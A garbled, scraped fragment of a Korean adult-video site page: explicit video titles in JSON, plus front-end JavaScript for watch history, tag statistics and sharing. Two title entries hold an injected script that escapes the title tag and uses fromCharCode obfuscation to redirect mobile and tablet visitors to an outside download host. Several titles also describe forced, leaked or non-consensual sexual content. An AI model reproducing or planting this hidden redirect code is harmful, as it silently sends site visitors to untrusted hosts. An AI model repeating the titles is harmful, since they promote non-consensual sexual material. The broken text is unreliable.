추천 영상
44:39
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Meng Ruoyu Yi Ruo MD0342 경비원과 판매원의 항문 성교 라이브 스트림 3P 항문 강제 오르가즘</title></script></title></script>
19:01
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>PUA 마스터의 비법으로 순진한 소녀를 음탕한 계집애로 만드는 법</title></script>
≪체크아웃 전 시간 절약 섹스≫침대를 정리하러 온 아름다운 유부녀 호텔 여직원을 유혹했다…고객과 직원 모두 남성이었다. (후루카와 호노카, S급 아마추어)","lastmod":"2026-07-11","duration":"02:37:08","url":"/play/19167473.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNDRlOWRjMDU5NTc4Y2U3MmZlZWYxYjQ1MDk4YzY1ZGIuanBn.cache","vod_id":19162526,"title":"Meng Ruoyu Yi Ruo MD0342 경비원과 판매원의 항문 성교 라이브 스트림 3P 항문 강제 오르가즘","lastmod":"2026-07-11","duration":"44:39","url":"/play/19162526.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjY3MzQ1NjliY2JhYTk0OWNjZDIyNDk1MjZjZjRlOTEuanBn.cache","vod_id":18996275,"title":"[3D] 초야한 메이드! 2 - 음탕해!","lastmod":"2025-12-14","duration":"01:32:08","url":"/play/18996275.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvOGRkYzAwYzBlYWE5NWI2MTU2ZWFhMzlkMGRmZDExNzUuanBn.cache","vod_id":19064850,"title":"문란한 젊은 여자는 매혹적이고 사람을 사로잡는다.","lastmod":"2025-12-14","duration":"27:47","url":"/play/19064850.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTQ5YTYxMDE5NjkwNzEzNmM1YjEzZDU3ZDhiMDYwNzMuanBn.cache","vod_id":18979120,"title":"FC2PPV 3575003 [얼굴 공개] 장마철이 끝나기 전 해변 산책과 데이트, 그리고 해변을 따라 야릇한 드라이브 ♥ 온천에 도착하자마자 벽이 얇은 개인실로 들어가 바로 내 성기를 집어넣었다.","lastmod":"2025-03-23","duration":"00:46:40","url":"/play/18979120.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzQyMzVlMGZmNWFhNGRhMzJmN2VlZWIxYzNlNWVlZjcuanBn.cache","vod_id":18969989,"title":"통통한 소녀의 크고 하얀 가슴이 격렬하게 흔들리며, 작고 나비 모양의 외음부를 클로즈업으로 보여주면서 남성 팬들을 유혹했다.","lastmod":"2025-12-14","duration":"00:52:23","url":"/play/18969989.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjZmYzk3ZTljYWI1MWQ3NjdlMDMzZDZmYTc3OGE2ZTQuanBn.cache","vod_id":18978505,"title":"[무삭제판] SSIS-621 S1, 샤오예와 샤오난에게 황당한 유혹 명령을 내리다! 톱 여배우가 음탕한 기술로 아마추어의 무릎을 후들거리게 만들고 집으로 돌려보낸다!","lastmod":"2025-03-23","duration":"02:42:58","url":"/play/18978505.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvM2MzNmQ2MmMwOGM3MWY5YzQxZTdhYzQ2YzkyZTRhMDguanBn.cache","vod_id":19162953,"title":"
PUA 마스터의 비법으로 순진한 소녀를 음탕한 계집애로 만드는 법","lastmod":"2026-07-11","duration":"19:01","url":"/play/19162953.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjYvYmU2YTgyOTU0ZmExMzdjZWUxNWRiNGRkOGQyYjNmMzUuanBn.cache","vod_id":19054628,"title":"AI - 류시시 - 검은 스타킹을 신고 사무실에서 부하 직원을 유혹한 후, 그녀의 질 내에 사정했다.","lastmod":"2025-09-25","duration":"16:01","url":"/play/19054628.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjUzZmI2YjNkZDBiNWM5OGU1NzA0YmVlMjY1MmNiM2QuanBn.cache","vod_id":18945545,"title":"가장 문란하고 문란한 외국인 유학생 '류위에'의 충격적인 3인 성관계 영상이 온라인에 유출되었습니다. 그녀와 그녀의 절친은 서로의 하얗고 부드러운 엉덩이를 애무하며, 돌아가면서 항문 플러그를 사용하고 3인 집단 성행위를 하는 모습이 영상에 담겨 있습니다. 고화질 720p 전체 영상입니다.","lastmod":"2025-12-14","duration":"00:35:14","url":"/play/18945545.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMzEvODNkOWE4NjIyZWQzODc4YjQyZjRkMDk2YTdmNTMwOWUuanBn.cache","vod_id":19060420,"title":"로스앤젤레스에 사는 아름답지만 음탕한 여성 10명이 한 남성에게 접근당해 유혹당했습니다. \"무단 300분 AV 데뷔 - 무명 여배우 HIKB_002\"라는 제목의 이 영상에는 HIKB_002라는 인물이 등장합니다.","lastmod":"2025-10-30","duration":"05:00:44","url":"/play/19060420.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjhmYjA1MDVlNTJmZTQ2OWEyNzZiN2VjOTkzMzE4MDUuanBn.cache","vod_id":19151388,"title":"젊은 여성 강제 수용소 순수하고 순진한 소녀 1","lastmod":"2026-04-02","duration":"30:00","url":"/play/19151388.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDNjYzQxOWExYjA5MjVkYWRhNzc2YmIxNTgzOGIxYzkuanBn.cache","vod_id":18980267,"title":"STAR-661 마츠오카 주고쿠 - 항상 빨아들이고 싶어하는 음탕한 입","lastmod":"2025-12-14","duration":"04:03:02","url":"/play/18980267.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjhjZGM0NDcyOTEyYjJmZTAzNWVhMDg0ODg0MDE3MmMuanBn.cache","vod_id":18998326,"title":"섹시해 보이지도 않는 헤픈 누나와 함께 노천 온천에 가는 것","lastmod":"2025-03-23","duration":"02:10:09","url":"/play/18998326.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTAxZGNjYzEwNTY2MTU3ZGQxMTRmM2I3ZTRhNThiNGYuanBn.cache","vod_id":18951982,"title":"풍만한 가슴을 가진 아름다운 젊은 여성이 나체로 춤을 추고, 검은색 속옷을 입고 진동기를 사용하여 자위하며, 매우 큰 외음부를 드러내고 있다.","lastmod":"2025-03-22","duration":"01:42:41","url":"/play/18951982.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjlmOThkMzYxMTA4YmI3OTM1ZTFmNGIyZDg2MmU1YTEuanBn.cache","vod_id":19025195,"title":"아름다운 젊은 여성이 검은색 보디슈트를 입고 가볍게 춤을 춘다.","lastmod":"2025-03-24","duration":"01:54","url":"/play/19025195.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNjZjNzFjNTFiOGU5YjIwYjJlMjdhYWY2ZGUzNzc4MjEuanBn.cache","vod_id":19157413,"title":"싱바 원문: 불안한 젊은 여성_","lastmod":"2026-05-10","duration":"38:54","url":"/play/19157413.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDA4MTkwM2NkNzNiNzkzNzA1OTVkZmJjOWQ0ODIwMGQuanBn.cache","vod_id":19003531,"title":"포르노 사이트 Pornhub 사용자 NicoLove가 남자친구와 함께 찍은 섹스 비디오가 유출되었는데, 영상에는 음란한 신음 소리와 콘돔 없이 삽입하는 장면이 담겨 있다.","lastmod":"2025-03-23","duration":"17:51","url":"/play/19003531.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjg2ZTJmYmY1YzdmYTg3MDU2OTkzODlhZTE2OWJiNjUuanBn.cache","vod_id":18987253,"title":"[중국어 자막] HMN-458 여동생의 순결을 지켜야 해! 정의감이 강한 여자친구의 여동생이 내가 헤픈 창녀라는 사실을 알고 첫 경험을 하게 됐어.","lastmod":"2025-12-14","duration":"01:59:56","url":"/play/18987253.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGQ4OGY5ZjEyN2E2ZDg0ZWUwMjI2NzEwNjI1MmE4MDcuanBn.cache","vod_id":19000089,"title":"우아한 태도를 지닌 젊은 여성","lastmod":"2025-03-23","duration":"01:56:36","url":"/play/19000089.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTVlMjUzN2ZjMDMzY2FhZWQ3MDg1MWI5MDFhYTRiYzQuanBn.cache","vod_id":18939925,"title":"91 카사노바의 사우나 개인실: 시스루 스타킹을 신은 아름답고 글래머러스한 젊은 여성의 매력을 만끽하세요 – 섹시하고 유혹적인 다양한 체위, 하드코어 섹스, 후위, 떨리는 풍만한 가슴 – 중국어 원본 1080P","lastmod":"2025-12-14","duration":"00:18:55","url":"/play/18939925.html"}]},
videoTitle: '음탕한 젊은 여자의 유혹 - 불안정한 젊은 여자의 세 구멍 달린 기구를 이용한 항문 성교',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}